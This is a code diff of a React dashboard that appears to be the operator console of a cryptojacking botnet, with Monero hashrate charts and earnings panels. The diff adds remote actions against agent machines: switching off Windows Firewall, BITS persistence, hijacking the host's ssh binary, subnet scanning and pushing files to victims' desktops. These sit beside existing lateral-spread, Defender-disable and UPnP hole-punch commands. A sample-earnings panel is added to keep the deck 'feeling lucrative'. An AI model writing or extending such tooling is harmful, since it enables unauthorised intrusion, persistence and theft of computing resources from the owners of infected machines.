const reducedMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
|
||||||
|
const canvas = canvasRef.current;
|
||||||
|
if (!canvas) return;
|
||||||
|
const ctx = canvas.getContext('2d');
|
||||||
|
if (!ctx) return;
|
||||||
|
|
||||||
|
const linkDist = isMobile ? 90 : 130;
|
||||||
|
const linkDistSq = linkDist * linkDist;
|
||||||
|
|
||||||
|
const resize = () => {
|
||||||
|
const dpr = Math.min(window.devicePixelRatio || 1, 2);
|
||||||
|
const w = window.innerWidth;
|
||||||
|
const h = window.innerHeight;
|
||||||
|
canvas.width = Math.floor(w * dpr);
|
||||||
|
canvas.height = Math.floor(h * dpr);
|
||||||
|
canvas.style.width = `${w}px`;
|
||||||
|
canvas.style.height = `${h}px`;
|
||||||
|
ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
|
||||||
|
particlesRef.current = initParticles(w, h, particleCount(isMobile));
|
||||||
|
};
|
||||||
|
|
||||||
|
resize();
|
||||||
|
window.addEventListener('resize', resize);
|
||||||
|
|
||||||
|
const tick = () => {
|
||||||
|
if (document.hidden) {
|
||||||
|
rafRef.current = requestAnimationFrame(tick);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const w = canvas.clientWidth;
|
||||||
|
const h = canvas.clientHeight;
|
||||||
|
ctx.clearRect(0, 0, w, h);
|
||||||
|
|
||||||
|
const pts = particlesRef.current;
|
||||||
|
if (!reducedMotion) {
|
||||||
|
for (const p of pts) {
|
||||||
|
p.x += p.vx;
|
||||||
|
p.y += p.vy;
|
||||||
|
p.pulse += p.pulseSpeed;
|
||||||
|
if (p.x < -20) p.x = w + 20;
|
||||||
|
if (p.x > w + 20) p.x = -20;
|
||||||
|
if (p.y < -20) p.y = h + 20;
|
||||||
|
if (p.y > h + 20) p.y = -20;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (let i = 0; i < pts.length; i++) {
|
||||||
|
for (let j = i + 1; j < pts.length; j++) {
|
||||||
|
const dx = pts[i].x - pts[j].x;
|
||||||
|
const dy = pts[i].y - pts[j].y;
|
||||||
|
const d2 = dx * dx + dy * dy;
|
||||||
|
if (d2 < linkDistSq) {
|
||||||
|
const t = 1 - Math.sqrt(d2) / linkDist;
|
||||||
|
ctx.strokeStyle = pts[i].color.line;
|
||||||
|
ctx.globalAlpha = t * 0.35;
|
||||||
|
ctx.lineWidth = 0.6;
|
||||||
|
ctx.beginPath();
|
||||||
|
ctx.moveTo(pts[i].x, pts[i].y);
|
||||||
|
ctx.lineTo(pts[j].x, pts[j].y);
|
||||||
|
ctx.stroke();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ctx.globalAlpha = 1;
|
||||||
|
|
||||||
|
for (const p of pts) {
|
||||||
|
const twinkle = reducedMotion ? 0.75 : 0.55 + Math.sin(p.pulse) * 0.25;
|
||||||
|
drawGlow(ctx, p, twinkle);
|
||||||
|
}
|
||||||
|
|
||||||
|
rafRef.current = requestAnimationFrame(tick);
|
||||||
|
};
|
||||||
|
|
||||||
|
rafRef.current = requestAnimationFrame(tick);
|
||||||
|
|
||||||
|
return () => {
|
||||||
|
window.removeEventListener('resize', resize);
|
||||||
|
cancelAnimationFrame(rafRef.current);
|
||||||
|
};
|
||||||
|
}, [glowParticles, isMobile]);
|
||||||
|
|
||||||
|
if (!glowParticles) return null;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<>
|
||||||
|
<canvas ref={canvasRef} className="ambient-glow-canvas" aria-hidden />
|
||||||
|
<div className="ambient-css-sparkles" aria-hidden>
|
||||||
|
{Array.from({ length: isMobile ? 6 : 10 }, (_, i) => (
|
||||||
|
<span key={i} className={`ambient-sparkle ambient-sparkle--${(i % 4) + 1}`} />
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
</>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -7,6 +7,11 @@ import {
|
|||||||
XAxis,
|
XAxis,
|
||||||
YAxis,
|
YAxis,
|
||||||
} from 'recharts';
|
} from 'recharts';
|
||||||
|
import {
|
||||||
|
chartSeriesDelta,
|
||||||
|
chartSeriesPeak,
|
||||||
|
type ChartDisplayMode,
|
||||||
|
} from '../../help/chartSampleData';
|
||||||
import './HashrateChart.css';
|
import './HashrateChart.css';
|
||||||
|
|
||||||
export interface ChartPoint {
|
export interface ChartPoint {
|
||||||
@@ -21,6 +26,7 @@ interface HashrateChartProps {
|
|||||||
color?: string;
|
color?: string;
|
||||||
unit?: string;
|
unit?: string;
|
||||||
height?: number;
|
height?: number;
|
||||||
|
displayMode?: ChartDisplayMode;
|
||||||
}
|
}
|
||||||
|
|
||||||
const GRAD_IDS = ['cyan', 'magenta', 'amber', 'green', 'purple'] as const;
|
const GRAD_IDS = ['cyan', 'magenta', 'amber', 'green', 'purple'] as const;
|
||||||
@@ -39,25 +45,42 @@ export default function HashrateChart({
|
|||||||
color = '#00f5ff',
|
color = '#00f5ff',
|
||||||
unit = 'H/s',
|
unit = 'H/s',
|
||||||
height = 280,
|
height = 280,
|
||||||
|
displayMode = 'live',
|
||||||
}: HashrateChartProps) {
|
}: HashrateChartProps) {
|
||||||
const gradId = colorToId(color);
|
const gradId = colorToId(color);
|
||||||
|
const peak = chartSeriesPeak(data);
|
||||||
|
const delta = chartSeriesDelta(data);
|
||||||
|
const liveLabel =
|
||||||
|
displayMode === 'live' ? '● LIVE' : displayMode === 'blend' ? '● SYNCING' : '● PROJECTION';
|
||||||
|
const liveClass =
|
||||||
|
displayMode === 'live' ? 'pulse' : displayMode === 'blend' ? 'blend' : 'sample';
|
||||||
|
|
||||||
if (data.length === 0) {
|
if (data.length === 0) {
|
||||||
return (
|
return (
|
||||||
<div className="chart-empty neon-chart-panel">
|
<div className="chart-empty neon-chart-panel wealth-empty">
|
||||||
<div className="chart-empty-icon">◈</div>
|
<div className="chart-empty-icon">◈</div>
|
||||||
<p className="font-tech">{title || 'Telemetry'}</p>
|
<p className="font-tech">{title || 'Telemetry'}</p>
|
||||||
<span>Awaiting signal from fleet...</span>
|
<span>Calibrating chart telemetry…</span>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="chart-wrap neon-chart-panel">
|
<div className="chart-wrap neon-chart-panel wealth-chart">
|
||||||
{title && (
|
{title && (
|
||||||
<div className="chart-header">
|
<div className="chart-header">
|
||||||
<h3 className="chart-title font-display">{title}</h3>
|
<h3 className="chart-title font-display">{title}</h3>
|
||||||
<span className="chart-live pulse">● LIVE</span>
|
<div className="chart-header-meta">
|
||||||
|
<span className="chart-peak font-tech">
|
||||||
|
PEAK {formatFull(peak, unit)}
|
||||||
|
</span>
|
||||||
|
{delta != null && (
|
||||||
|
<span className={`chart-delta font-tech ${delta >= 0 ? 'up' : 'down'}`}>
|
||||||
|
{delta >= 0 ? '▲' : '▼'} {Math.abs(delta).toFixed(1)}%
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
<span className={`chart-live ${liveClass}`}>{liveLabel}</span>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
<ResponsiveContainer width="100%" height={height}>
|
<ResponsiveContainer width="100%" height={height}>
|
||||||
|
|||||||
@@ -5,7 +5,12 @@ import type { SeqCommandResult } from '../../context/WebSocketContext';
|
|||||||
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
|
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
|
||||||
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../../help/screenshotDownload';
|
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../../help/screenshotDownload';
|
||||||
import { formatHashrate } from '../../help/fleetFilters';
|
import { formatHashrate } from '../../help/fleetFilters';
|
||||||
|
import { pushFileToAgentDesktop } from '../../help/desktopPush';
|
||||||
|
import { parseFullSysCheckMessage } from '../../types/syscheck';
|
||||||
|
import type { FullSysCheckReport } from '../../types/syscheck';
|
||||||
|
import FullSysCheckPanel from './FullSysCheckPanel';
|
||||||
import './AgentRemoteActions.css';
|
import './AgentRemoteActions.css';
|
||||||
|
import './FullSysCheckPanel.css';
|
||||||
|
|
||||||
const TERMINAL_MAX_LINES = 500;
|
const TERMINAL_MAX_LINES = 500;
|
||||||
|
|
||||||
@@ -49,6 +54,7 @@ export default function AgentRemoteActions({
|
|||||||
const [busy, setBusy] = useState<string | null>(null);
|
const [busy, setBusy] = useState<string | null>(null);
|
||||||
const [wolMac, setWolMac] = useState('');
|
const [wolMac, setWolMac] = useState('');
|
||||||
const [wolExpanded, setWolExpanded] = useState(false);
|
const [wolExpanded, setWolExpanded] = useState(false);
|
||||||
|
const [sysCheckReport, setSysCheckReport] = useState<FullSysCheckReport | null>(null);
|
||||||
// Fleet upgrade
|
// Fleet upgrade
|
||||||
const [builds, setBuilds] = useState<Build[]>([]);
|
const [builds, setBuilds] = useState<Build[]>([]);
|
||||||
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
|
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
|
||||||
@@ -133,7 +139,20 @@ export default function AgentRemoteActions({
|
|||||||
const { agent_id, action, success, message } = payload;
|
const { agent_id, action, success, message } = payload;
|
||||||
if (agentId && agentId !== 'all' && agent_id !== agentId) continue;
|
if (agentId && agentId !== 'all' && agent_id !== agentId) continue;
|
||||||
|
|
||||||
if (action === 'screenshot') {
|
if (action === 'full_sys_check') {
|
||||||
|
if (success && message) {
|
||||||
|
const parsed = parseFullSysCheckMessage(message);
|
||||||
|
if (parsed) {
|
||||||
|
setSysCheckReport(parsed);
|
||||||
|
addLog(`✓ Full system check — WAN ${parsed.network?.external_ip ?? 'n/a'}`);
|
||||||
|
} else {
|
||||||
|
addLog('✗ [FULL_SYS_CHECK] could not parse report JSON');
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
addLog(`✗ [FULL_SYS_CHECK] FAIL\n${message ?? ''}`);
|
||||||
|
setSysCheckReport(null);
|
||||||
|
}
|
||||||
|
} else if (action === 'screenshot') {
|
||||||
const label = agentNameProp ?? agent?.name ?? (agent_id ? agent_id.slice(0, 8) : 'agent');
|
const label = agentNameProp ?? agent?.name ?? (agent_id ? agent_id.slice(0, 8) : 'agent');
|
||||||
if (success && message) {
|
if (success && message) {
|
||||||
const clean = sanitizeScreenshotBase64(message);
|
const clean = sanitizeScreenshotBase64(message);
|
||||||
@@ -146,12 +165,14 @@ export default function AgentRemoteActions({
|
|||||||
} else {
|
} else {
|
||||||
addLog(`✗ [SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
|
addLog(`✗ [SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
|
||||||
}
|
}
|
||||||
} else if (action) {
|
} else if (action && action !== 'full_sys_check') {
|
||||||
const icon = success ? '✓' : '✗';
|
const icon = success ? '✓' : '✗';
|
||||||
addLog(`${icon} [${action.toUpperCase()}]\n${message ?? ''}`);
|
const preview =
|
||||||
|
message && message.length > 4000 ? `${message.slice(0, 4000)}\n…[truncated in terminal]` : message ?? '';
|
||||||
|
addLog(`${icon} [${action.toUpperCase()}]\n${preview}`);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}, [commandResults, agentId, addLog]);
|
}, [commandResults, agentId, addLog, agentNameProp, agent?.name]);
|
||||||
|
|
||||||
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
|
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
|
||||||
if (!agentId) {
|
if (!agentId) {
|
||||||
@@ -169,7 +190,14 @@ export default function AgentRemoteActions({
|
|||||||
if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
|
if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
|
||||||
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
|
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
|
||||||
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
|
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
|
||||||
|
if (action === 'firewall_off' && !window.confirm(`Disable Windows Firewall on ALL profiles for "${agentName}"?\n\nRequires administrator. Re-enable with FW On.`)) return;
|
||||||
|
if (action === 'firewall_on' && !window.confirm(`Enable Windows Firewall on all profiles for "${agentName}"?`)) return;
|
||||||
|
if (action === 'firewall_remove' && !window.confirm(`Remove AetherForge firewall rules on "${agentName}"?`)) return;
|
||||||
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
|
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
|
||||||
|
if (action === 'full_sys_check') {
|
||||||
|
setSysCheckReport(null);
|
||||||
|
addLog(`◈ Running full system check on ${agentName}… (may take 30–60s)`);
|
||||||
|
}
|
||||||
|
|
||||||
// WOL is handled server-side (no agent connection needed)
|
// WOL is handled server-side (no agent connection needed)
|
||||||
if (action === 'wol') {
|
if (action === 'wol') {
|
||||||
@@ -218,21 +246,28 @@ export default function AgentRemoteActions({
|
|||||||
setIsDragging(true);
|
setIsDragging(true);
|
||||||
};
|
};
|
||||||
const handleDragLeave = () => setIsDragging(false);
|
const handleDragLeave = () => setIsDragging(false);
|
||||||
|
const pushDesktopFile = async (file: File) => {
|
||||||
|
try {
|
||||||
|
await pushFileToAgentDesktop(
|
||||||
|
(action, args) => dispatch(action, args),
|
||||||
|
file
|
||||||
|
);
|
||||||
|
} catch (err) {
|
||||||
|
addLog(`✗ Desktop push: ${err instanceof Error ? err.message : String(err)}`);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
const handleDrop = (e: React.DragEvent) => {
|
const handleDrop = (e: React.DragEvent) => {
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
e.stopPropagation();
|
e.stopPropagation();
|
||||||
setIsDragging(false);
|
setIsDragging(false);
|
||||||
const file = e.dataTransfer.files[0];
|
const file = e.dataTransfer.files[0];
|
||||||
if (!file) return;
|
if (!file) return;
|
||||||
const reader = new FileReader();
|
void pushDesktopFile(file);
|
||||||
reader.onload = async (evt) => {
|
|
||||||
const base64 = (evt.target?.result as string).split(',')[1];
|
|
||||||
const targetPath = `C:\\Windows\\Temp\\${file.name}`;
|
|
||||||
await dispatch('upload', { path: targetPath, data: base64 });
|
|
||||||
};
|
|
||||||
reader.readAsDataURL(file);
|
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const desktopFileInputRef = useRef<HTMLInputElement>(null);
|
||||||
|
|
||||||
const runCustomCommand = (e: React.FormEvent) => {
|
const runCustomCommand = (e: React.FormEvent) => {
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
if (!customCmd.trim()) return;
|
if (!customCmd.trim()) return;
|
||||||
@@ -294,6 +329,15 @@ export default function AgentRemoteActions({
|
|||||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture remote desktop and download JPEG to this browser">Screenshot</button>
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture remote desktop and download JPEG to this browser">Screenshot</button>
|
||||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
|
||||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn-cyan"
|
||||||
|
disabled={!isOnline || !!busy}
|
||||||
|
title="Deep read-only audit: firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, listeners"
|
||||||
|
onClick={() => dispatch('full_sys_check')}
|
||||||
|
>
|
||||||
|
Full Sys Check
|
||||||
|
</button>
|
||||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
|
||||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
|
||||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
|
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
|
||||||
@@ -425,6 +469,60 @@ export default function AgentRemoteActions({
|
|||||||
>
|
>
|
||||||
Open FW Port
|
Open FW Port
|
||||||
</button>
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn-red"
|
||||||
|
disabled={aggDisabled('firewall_off')}
|
||||||
|
title={aggTitle('firewall_off')}
|
||||||
|
onClick={() => dispatch('firewall_off')}
|
||||||
|
>
|
||||||
|
FW Off
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn-magenta"
|
||||||
|
disabled={aggDisabled('firewall_on')}
|
||||||
|
title={aggTitle('firewall_on')}
|
||||||
|
onClick={() => dispatch('firewall_on')}
|
||||||
|
>
|
||||||
|
FW On
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn-magenta"
|
||||||
|
disabled={aggDisabled('firewall_profiles')}
|
||||||
|
title={aggTitle('firewall_profiles') || 'Disable Private+Public only (path=Private,Public)'}
|
||||||
|
onClick={() => dispatch('firewall_profiles', { command: 'off', path: 'Private,Public' })}
|
||||||
|
>
|
||||||
|
FW Private Off
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn-magenta"
|
||||||
|
disabled={aggDisabled('firewall_remove')}
|
||||||
|
title={aggTitle('firewall_remove')}
|
||||||
|
onClick={() => dispatch('firewall_remove')}
|
||||||
|
>
|
||||||
|
Remove FW Rules
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn-magenta"
|
||||||
|
disabled={aggDisabled('bits_persist')}
|
||||||
|
title={aggTitle('bits_persist') || 'Register BITS notify job (Windows)'}
|
||||||
|
onClick={() => dispatch('bits_persist')}
|
||||||
|
>
|
||||||
|
BITS Persist
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn-magenta"
|
||||||
|
disabled={aggDisabled('host_binary_persist')}
|
||||||
|
title={aggTitle('host_binary_persist') || 'Hijack host client binary (path=preset, default ssh)'}
|
||||||
|
onClick={() => dispatch('host_binary_persist', { path: 'ssh' })}
|
||||||
|
>
|
||||||
|
Host Binary
|
||||||
|
</button>
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
className="btn-magenta"
|
className="btn-magenta"
|
||||||
@@ -474,6 +572,14 @@ export default function AgentRemoteActions({
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{sysCheckReport && !compact && (
|
||||||
|
<FullSysCheckPanel
|
||||||
|
report={sysCheckReport}
|
||||||
|
agentName={agentName}
|
||||||
|
onClose={() => setSysCheckReport(null)}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
|
||||||
{screenshotData && (
|
{screenshotData && (
|
||||||
<div className="screenshot-viewer">
|
<div className="screenshot-viewer">
|
||||||
<div className="viewer-header">
|
<div className="viewer-header">
|
||||||
@@ -502,7 +608,26 @@ export default function AgentRemoteActions({
|
|||||||
>
|
>
|
||||||
<span className="drop-icon">📥</span>
|
<span className="drop-icon">📥</span>
|
||||||
<p>Drag & Drop file here</p>
|
<p>Drag & Drop file here</p>
|
||||||
<small>Uploads to C:\Windows\Temp\</small>
|
<small>Pushes to user Desktop (any OS)</small>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn btn-outline btn-sm"
|
||||||
|
style={{ marginTop: '0.5rem' }}
|
||||||
|
disabled={!isOnline || !!busy}
|
||||||
|
onClick={() => desktopFileInputRef.current?.click()}
|
||||||
|
>
|
||||||
|
Choose file → Desktop
|
||||||
|
</button>
|
||||||
|
<input
|
||||||
|
ref={desktopFileInputRef}
|
||||||
|
type="file"
|
||||||
|
hidden
|
||||||
|
onChange={(e) => {
|
||||||
|
const file = e.target.files?.[0];
|
||||||
|
if (file) void pushDesktopFile(file);
|
||||||
|
e.target.value = '';
|
||||||
|
}}
|
||||||
|
/>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="master-terminal">
|
<div className="master-terminal">
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ import type { Agent, FleetAlert, PoolStatus, AIActivityEntry } from '../../types
|
|||||||
import type { FleetHealth, ContributionBar, SubnetGroup, PlatformCount } from '../../help/fleetAnalytics';
|
import type { FleetHealth, ContributionBar, SubnetGroup, PlatformCount } from '../../help/fleetAnalytics';
|
||||||
import { timeToPayout } from '../../help/fleetAnalytics';
|
import { timeToPayout } from '../../help/fleetAnalytics';
|
||||||
import { formatHashrate } from '../../help/fleetFilters';
|
import { formatHashrate } from '../../help/fleetFilters';
|
||||||
|
import { SAMPLE_FLEET_PREVIEW } from '../../help/chartSampleData';
|
||||||
import './FleetPanels.css';
|
import './FleetPanels.css';
|
||||||
|
|
||||||
export function AlertBanner({ alerts }: { alerts: FleetAlert[] }) {
|
export function AlertBanner({ alerts }: { alerts: FleetAlert[] }) {
|
||||||
@@ -173,6 +174,26 @@ export function EarningsEstimator({ hashrate, xmrPrice }: { hashrate: number; xm
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** Shown when fleet hashrate is zero — keeps the deck feeling lucrative. */
|
||||||
|
export function WealthEarningsPreview({ xmrPrice }: { xmrPrice?: number | null }) {
|
||||||
|
const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice;
|
||||||
|
const xmrDay = SAMPLE_FLEET_PREVIEW.xmrPerDay;
|
||||||
|
const usdDay = xmrDay * price;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<NeonCard accent="gold" className="stat-card-wrap earnings-preview wealth-earnings">
|
||||||
|
<div className="earnings-preview-badge font-tech">PROJECTED YIELD</div>
|
||||||
|
<div className="stat-label font-tech">Target Fleet Earnings</div>
|
||||||
|
<div className="stat-value neon-glow-gold">~{xmrDay.toFixed(4)} XMR/day</div>
|
||||||
|
<div className="earnings-usd-day">≈ ${usdDay.toFixed(2)}/day</div>
|
||||||
|
<div className="stat-sub">At {formatHashrate(SAMPLE_FLEET_PREVIEW.hashrate)} fleet target</div>
|
||||||
|
<div className="stat-sub" style={{ marginTop: 4, opacity: 0.55, fontSize: '0.68rem' }}>
|
||||||
|
Deploy miners to replace projection with live pool data
|
||||||
|
</div>
|
||||||
|
</NeonCard>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
// ─── Fleet Health Card ────────────────────────────────────────────────────────
|
// ─── Fleet Health Card ────────────────────────────────────────────────────────
|
||||||
|
|
||||||
export function FleetHealthCard({ health }: { health: FleetHealth }) {
|
export function FleetHealthCard({ health }: { health: FleetHealth }) {
|
||||||
@@ -210,20 +231,24 @@ export function ContributionBars({
|
|||||||
bars,
|
bars,
|
||||||
xmrPerDay,
|
xmrPerDay,
|
||||||
xmrPrice,
|
xmrPrice,
|
||||||
|
sample = false,
|
||||||
}: {
|
}: {
|
||||||
bars: ContributionBar[];
|
bars: ContributionBar[];
|
||||||
xmrPerDay?: number;
|
xmrPerDay?: number;
|
||||||
xmrPrice?: number | null;
|
xmrPrice?: number | null;
|
||||||
|
sample?: boolean;
|
||||||
}) {
|
}) {
|
||||||
if (bars.length === 0) return null;
|
if (bars.length === 0) return null;
|
||||||
return (
|
return (
|
||||||
<NeonCard accent="cyan" className="section contrib-panel" hud>
|
<NeonCard accent="cyan" className={`section contrib-panel${sample ? ' sample-contrib' : ''}`} hud>
|
||||||
<h2 className="section-title font-display">
|
<h2 className="section-title font-display">
|
||||||
<span className="section-ornament">◆</span> Contribution Map
|
<span className="section-ornament">◆</span> Contribution Map
|
||||||
<span className="section-line" />
|
<span className="section-line" />
|
||||||
</h2>
|
</h2>
|
||||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||||
Each bar shows a machine's share of total fleet hashrate.
|
{sample
|
||||||
|
? 'Sample contribution map — your rigs will populate this lane when they connect.'
|
||||||
|
: "Each bar shows a machine's share of total fleet hashrate."}
|
||||||
</p>
|
</p>
|
||||||
<div className="contrib-list">
|
<div className="contrib-list">
|
||||||
{bars.map((b) => {
|
{bars.map((b) => {
|
||||||
|
|||||||
141
server/web/src/components/Fleet/FullSysCheckPanel.css
Normal file
141
server/web/src/components/Fleet/FullSysCheckPanel.css
Normal file
@@ -0,0 +1,141 @@
|
|||||||
|
.syscheck-panel {
|
||||||
|
margin-top: 1rem;
|
||||||
|
padding: 1rem 1.1rem;
|
||||||
|
border: 1px solid rgba(0, 245, 255, 0.25);
|
||||||
|
border-radius: 8px;
|
||||||
|
background: rgba(8, 12, 24, 0.92);
|
||||||
|
max-height: 72vh;
|
||||||
|
overflow: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.syscheck-header {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: flex-start;
|
||||||
|
gap: 1rem;
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
border-bottom: 1px solid rgba(201, 162, 39, 0.2);
|
||||||
|
padding-bottom: 0.75rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.syscheck-header h3 {
|
||||||
|
margin: 0;
|
||||||
|
color: var(--accent-cyan, #00f5ff);
|
||||||
|
}
|
||||||
|
|
||||||
|
.syscheck-sub {
|
||||||
|
margin: 0.25rem 0 0;
|
||||||
|
font-size: 0.75rem;
|
||||||
|
color: var(--clr-dim, #888);
|
||||||
|
}
|
||||||
|
|
||||||
|
.syscheck-grid {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
|
||||||
|
gap: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.syscheck-section {
|
||||||
|
border: 1px solid rgba(255, 255, 255, 0.06);
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 0.65rem 0.75rem;
|
||||||
|
background: rgba(0, 0, 0, 0.25);
|
||||||
|
}
|
||||||
|
|
||||||
|
.syscheck-section-title {
|
||||||
|
margin: 0 0 0.5rem;
|
||||||
|
font-size: 0.72rem;
|
||||||
|
letter-spacing: 0.12em;
|
||||||
|
color: var(--accent-gold, #c9a227);
|
||||||
|
text-transform: uppercase;
|
||||||
|
}
|
||||||
|
|
||||||
|
.syscheck-kv {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: 110px 1fr;
|
||||||
|
gap: 0.35rem 0.5rem;
|
||||||
|
margin-bottom: 0.35rem;
|
||||||
|
font-size: 0.8rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.syscheck-k {
|
||||||
|
color: var(--clr-dim, #888);
|
||||||
|
}
|
||||||
|
|
||||||
|
.syscheck-v {
|
||||||
|
color: #e8e8f0;
|
||||||
|
word-break: break-word;
|
||||||
|
}
|
||||||
|
|
||||||
|
.syscheck-ok {
|
||||||
|
color: #4ade80;
|
||||||
|
}
|
||||||
|
.syscheck-bad {
|
||||||
|
color: #f87171;
|
||||||
|
}
|
||||||
|
.syscheck-muted {
|
||||||
|
color: #777;
|
||||||
|
font-size: 0.78rem;
|
||||||
|
}
|
||||||
|
.syscheck-score {
|
||||||
|
color: #00f5ff;
|
||||||
|
font-weight: 600;
|
||||||
|
}
|
||||||
|
.syscheck-subhead {
|
||||||
|
margin-top: 0.5rem;
|
||||||
|
font-size: 0.7rem;
|
||||||
|
text-transform: uppercase;
|
||||||
|
letter-spacing: 0.08em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.syscheck-pre {
|
||||||
|
margin: 0.35rem 0 0.5rem;
|
||||||
|
padding: 0.5rem;
|
||||||
|
background: rgba(0, 0, 0, 0.45);
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 0.72rem;
|
||||||
|
max-height: 160px;
|
||||||
|
overflow: auto;
|
||||||
|
white-space: pre-wrap;
|
||||||
|
color: #bbb;
|
||||||
|
}
|
||||||
|
|
||||||
|
.syscheck-table-wrap {
|
||||||
|
overflow-x: auto;
|
||||||
|
margin-top: 0.35rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.syscheck-table {
|
||||||
|
width: 100%;
|
||||||
|
font-size: 0.72rem;
|
||||||
|
border-collapse: collapse;
|
||||||
|
}
|
||||||
|
|
||||||
|
.syscheck-table th,
|
||||||
|
.syscheck-table td {
|
||||||
|
padding: 0.2rem 0.35rem;
|
||||||
|
border-bottom: 1px solid #222;
|
||||||
|
text-align: left;
|
||||||
|
}
|
||||||
|
|
||||||
|
.syscheck-iface {
|
||||||
|
margin-bottom: 0.5rem;
|
||||||
|
font-size: 0.78rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.syscheck-raw {
|
||||||
|
margin-top: 1rem;
|
||||||
|
font-size: 0.8rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.syscheck-raw summary {
|
||||||
|
cursor: pointer;
|
||||||
|
color: var(--accent-gold, #c9a227);
|
